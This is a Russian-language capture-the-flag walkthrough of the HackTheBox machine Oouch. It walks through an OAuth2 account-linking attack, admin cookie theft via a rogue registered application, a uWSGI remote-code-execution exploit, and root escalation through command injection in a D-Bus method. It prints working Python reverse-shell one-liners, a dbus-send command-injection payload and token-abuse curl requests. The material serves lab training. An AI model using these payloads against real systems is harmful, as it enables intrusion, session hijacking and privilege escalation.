Хабрахабр

HackTheBox. Прохождение Oouch. OAuth2, RCE в uWSGI и LPE через DBUS

Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox.

В данной статье разберем атаку на OAuth2 аутентификацию через, а также зарегистрируем свое приложение для угона куки администратора. В добавок к этому, проэксплуатируем RCE в веб-сервере и сервере веб-приложений uWSGI, а также повысим привилегии через шину сообщений D-Bus.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon

Данная машина имеет IP адрес 10.10.10.177, который я добавляю в /etc/hosts.

10.10.10.177 oouch.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.182 --rate=500

Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.

nmap -A oouch.htb -p8000,22,21,5000,5555

Таким образом, имеем:

  • Порт 22 — SSH.
  • Порт 8000 — отвечающий кодом 400 веб-сервер.
  • Порт 5000 — веб-сервер, редирект на страницу авторизации.
  • Порт 21 — FTP, на котором расположен файл project.txt, доступный с авторизацией от anonymous.

Зайдем на FTP как anonymous, скачаем файл и посмотрим.

Ничего нам не говорит. Идем на веб-сервер.

Как и следовало из отчета nmap, происходит редирект на страницу авторизации. Есть возможность регистрации, давайте зарегистрируемся, а потом авторизуемся.

Таким образом, сайт находится на стадии разработки, хранит минимум информации о пользователях, имеет возможность хранить документы (данная опция доступна только разработчику), а также имеет обратную связь с администраций. Нас уверяют, что сисадмин читает все сообщения.

При попытке угнать куки, тег был заблокирован, (кстати уже не блокируется).

Не найдя никакого вектора, было решено просканировать директории.

dirb http://oouch.htb:5000/

И находим одну скрытую директорию oauth.

Давайте добавим данный домен в /etc/hosts.

10.10.10.177 consumer.oouch.htb

Но происходит редирект. Давайте добавим и этот домен в /etc/hosts.

10.10.10.177 authorization.oouch.htb

Снова встречает страница авторизации. Авторизуемся с прежними учетными данными. Но при новой попытке, нас перебрасывает на 8000 порт.

consumer.oouch.htb:5000/oauth/connect -> authorization.oouch.htb:8000/login/

Сразу просканировав директории, не находим ничего интересного, поэтому регистрируемся и здесь.

И находим новую директорию, которую не нашел dirb. Давайте проведем поиск в ней.

dirb http://authorization.oouch.htb:8000/oauth

Есть еще одна директория! Но там нас встречает HTTP аутентификация.

Делаем и в этой директории.

dirb http://authorization.oouch.htb:8000/oauth/applications/

Скорее всего в этой директории находятся приложения, причем их можно регистрировать. Больше ничего интересного здесь не находим.

Зарегистрировавшись везде, где было необходимо возвращаемся е первоначальному коннекту. Используется OAuth аутентификация.

OAuth аутентификация

OAuth — открытый протокол авторизации, который позволяет предоставить третьей стороне ограниченный доступ к защищённым ресурсам пользователя без необходимости передавать ей (третьей стороне) логин и пароль.

В OAuth используются три вида полномочий: учётные данные клиента (client credentials), временные учётные данные (temporary credentials) и токены (token credentials).

Шаги протокола OAuth 2.0:

  1. Приложение запрашивает авторизацию для доступа к ресурсам сервиса от пользователя. Приложение должно предоставить идентификатор клиента (client ID), секрет клиента (client secret), URI перенаправления (redirect URI) и необходимые области для доступа.
  2. Если пользователь авторизует запрос, приложение получает authorization grant.
  3. Приложение запрашивает токен доступа с сервера авторизации, предоставляя аутентификацию личности и разрешение на авторизацию.
  4. Если идентификация приложения аутентифицирована, а разрешение авторизации является действительным, сервер авторизации выдает токен доступа (одноразовый код). Авторизация завершена.
  5. Приложение запрашивает ресурс у сервера ресурсов и предоставляет токен доступа для аутентификации.
  6. Если токен доступа действителен, сервер ресурсов передает ресурс приложению.

Таким образом происходит связь учетной записи пользователя с определенными ресурсами на сервере ресурсов.

Атака на Oauth

На данный протокол может быть произведена атака, которая позволяет связать нашу учетную запись с ресурсами другого пользователя. Для этого нужно не использовать свой одноразовый токен доступа, а заставить другого пользователя передать его на сервер. Тогда учетная запись, которая владеет токеном, будет связана с ресурсами учетной записи, предоставившей его.
Так как сисадмин отвечает на все сообщения, то возможно он перейдет по ссылке, которую мы ему отправим. К тому же, в данном приложении токен доступа передается не в HTTP заголовке (как должно быть), а в параметре URL. Таким образом мы можем провести данную атаку.

Переходим по consumer.oouch.htb:5000/oauth/connect и отлавливаем с помощью Burp Suite.

Пропускаем данный запрос, и нас перенаправляют, причем с параметров client ID.

Пропускаем и этот запрос. Снова следует перенаправление, где можем наблюдать другие параметры протокола аутентификации.

Вновь пропускаем запрос. На странице появляется окно авторизации. Чтобы закончить нажимаем на кнопку авторизации.

Пропускаем данный запрос. И вот нас снова перенаправляют, причем в качестве параметра следует одноразовый код!

Сохраним данный токен и отбросим запрос. Давайте оправим администратору данную ссылку, чтобы когда он по ней перешел, наша учетная запись была привязана к его ресурсам (а если вспомнить — он имеет право хранить документы).

Теперь пройдем по consumer.oouch.htb:5000/oauth/login.

Нажимаем на уже знакомую кнопку, и в открывшейся странице наблюдаем профиль пользователя qtc.

Давайте посмотрим документы.

Есть записи про про SSH ключ, пользовательский каталог, и учетные данные для регистрации приложений.

Entry Point

Если мы сможем зарегистрировать свое приложение, то сможем вынудить администратора перейти на него и узнать его куки!

Давайте вернемся на страницу регистрации приложений и авторизуемся. И в открывшейся форме зарегистрируем новое приложение, указав публичный тип клиента, кодовый тип гранта авторизации и укажем открытый на локальном хосте порт для подключения.

Сохраняем себе client ID и client secret. Давайте попробуем авторизоваться сами, чтобы проверить, что аутентификация работает и пользователь будет перенаправлен к нам.

Давайте сформируем ссылку, в соответствующих параметрах указываем данные зарегистрированного приложения:

authorization.oouch.htb:8000/oauth/authorize/?client_id=MP2A40aHGaTtXQxFrElh7b0wn8RyKzaiV6NgAaHs&redirect_uri=http://10.10.14.203:4321&grant_type=authorization_code&client_secret=e3B28aHhwKktAeio6MoeAi6kssfgc8daNfWsZBHBmnKViS4TkyERpfOlpiuHCZqw1nnOayfifLpY9bwN9J7oGfbcoAVGP1Z4x1DpCG7tVRMF5Wk9wVbAYjIy7Q7wmmt6

Теперь перейдем по ней и увидим подключение.

Так как все работает, отправим ее администратору.

Таким образом мы узнаем его куки. Давайте применим их.

И мы авторизованы на сервере как qtc.

USER

Чтобы обратиться к ресурсу, нам нужен токен, а чтобы сервер его нам вернул, изменим тип гранта авторизации на client_credentials.

И запросим токен с помощью curl: установим метод POST (-X), необходимые заголовки HTTP (-H), cookie, данные, которые хотим отправить, а также разрешим редирект (-L). Так как ответ возвращается в формате JSON, то используем jq, чтобы красиво отобразить ответ.

curl -X POST 'http://authorization.oouch.htb:8000/oauth/token/' -H “Content-Type: application/x-www-form-urlencoded” --cookie "csrftoken=sxOyInmM9PVewqQ8hDs0Z7k8heooUekr4MBiEi6SpB0vvUv55adzecadiDqGw4IK;sessionid=f6efischf0ppp14yp9q71ave5ev0lvcf" --data “grant_type=client_credentials&client_id=MP2A40aHGaTtXQxFrElh7b0wn8RyKzaiV6NgAaHs&client_secret=e3B28aHhwKktAeio6MoeAi6kssfgc8daNfWsZBHBmnKViS4TkyERpfOlpiuHCZqw1nnOayfifLpY9bwN9J7oGfbcoAVGP1Z4x1DpCG7tVRMF5Wk9wVbAYjIy7Q7wmmt6” -L -s | jq

Получаем токен. И теперь мы можем обратиться к ресурсу, который значился в документах. Сделаем это также с помощью curl.

curl "http://authorization.oouch.htb:8000/api/get_user.txt/?access_token=p6gmg7DqbR9kS2BVS9vRQRolGsOhbU" --cookie "csrftoken=sxOyInmM9PVewqQ8hDs0Z7k8heooUekr4MBiEi6SpB0vvUv55adzecadiDqGw4IK;sessionid=f6efischf0ppp14yp9q71ave5ev0lvcf" | jq

Как и ожидалось, мы получаем информацию о пользователе. А вот что делать дальше я не знал! Догадка пришла, лишь когда мне намекнули “API для получения данных пользователя готово, а вот в планах еще для получения SSH ключа”. Тогда я подумал, что по аналогии с API get_user для получения информации о пользователе, нужно попробовать обратиться у get_ssh.

curl "http://authorization.oouch.htb:8000/api/get_ssh/?access_token=p6gmg7DqbR9kS2BVS9vRQRolGsOhbU" --cookie "csrftoken=sxOyInmM9PVewqQ8hDs0Z7k8heooUekr4MBiEi6SpB0vvUv55adzecadiDqGw4IK;sessionid=f6efischf0ppp14yp9q71ave5ev0lvcf" | jq

И получаем ключ пользователя qtc. Приведя его в нормальный вид, подключаемся к хосту и берем пользователя.

ROOT

Для recon’a на хосте запустим LinPEAS. В итоге находим записку, оставленную рутом.

И помимо того, что на хосте работает docker, и приватного ssh ключа, ничего не находим.

Скорее всего вектор атаки — это зайти на docker. К тому же в записке упоминаются DBus и iptables. Про iptables и так все знают, а вот DBus — другое дело. Dbus или Desktop Bus — это система, которая используется в основном в операционной системе Linux для того, чтобы различные приложения и сервисы могли общаться между собой.

Давай посмотрим найденные сетевые интерфейсы.

И видим 2 хоста. На первый же получилось зайти.

И находим директорию /code.

В start.sh находим использование uwsgi.

И в routes.py находим использование dbus.

Таким образом пользователь службы имеет право на использование dbus. То есть нам нужно получить шелл.

uWSGI — веб-сервер и сервер веб-приложений, первоначально реализованный для запуска приложений Python через протокол WSGI. Используется для запуска приложений на базе фреймворков Django, Flask и других. Поищем эксплоиты.

Скачиваем самый первый и загружаем на хост.

scp -i .ssh/id_rsa uwsgi-exp.py 172.18.0.5:~/

Запустим.

Таким образом нам нужен uwsgi сокет. Причем служба в данный момент работает.

Значит и сокет будет в директории tmp.

Давайте запустим эксплоит со всеми параметрами.

Выдает ошибку при импорте bytes, зайдем и поменяем исходный код.

Если снова запустить эксплоит, он отрабоет, но шела не будет. Я заменил bash шелл на python. Это сработало.

python uwsgi-exp.py -m unix -u /tmp/uwsgi.socket -c "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"172.18.0.1\",5432));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"

В терминале с неткатом видим подключение.

И вот теперь у нас есть права на запуск dbus. Команда dbus-send используется для отправки сообщения на шину сообщений D-Bus. Существует две общеизвестные шины сообщений: общесистемная (system) шина сообщений и шина сообщений для сеанса (session) входа пользователя в систему. Для использования dbus-send нужно знать “имя соединения”, которое указывается в параметре --dest. Путь к объекту и имя сообщения для отправки должны быть всегда указаны. Следующие аргументы, если таковые имеются, являются содержимым сообщения (аргументы сообщения). Они даются в виде имени типа, двоеточия, а затем значения аргумента. Возможные имена типов: string, int32, uint32, double, byte, boolean.

Пример команды:

dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block “string:; SHELL”

Используем --print-reply чтобы заблокировать ответ на запрос.

dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block "string:;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"172.18.0.1\",6543));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"])';"

И видим успешное подключение.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.

Теги
Показать больше

Похожие статьи

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Кнопка «Наверх»
Закрыть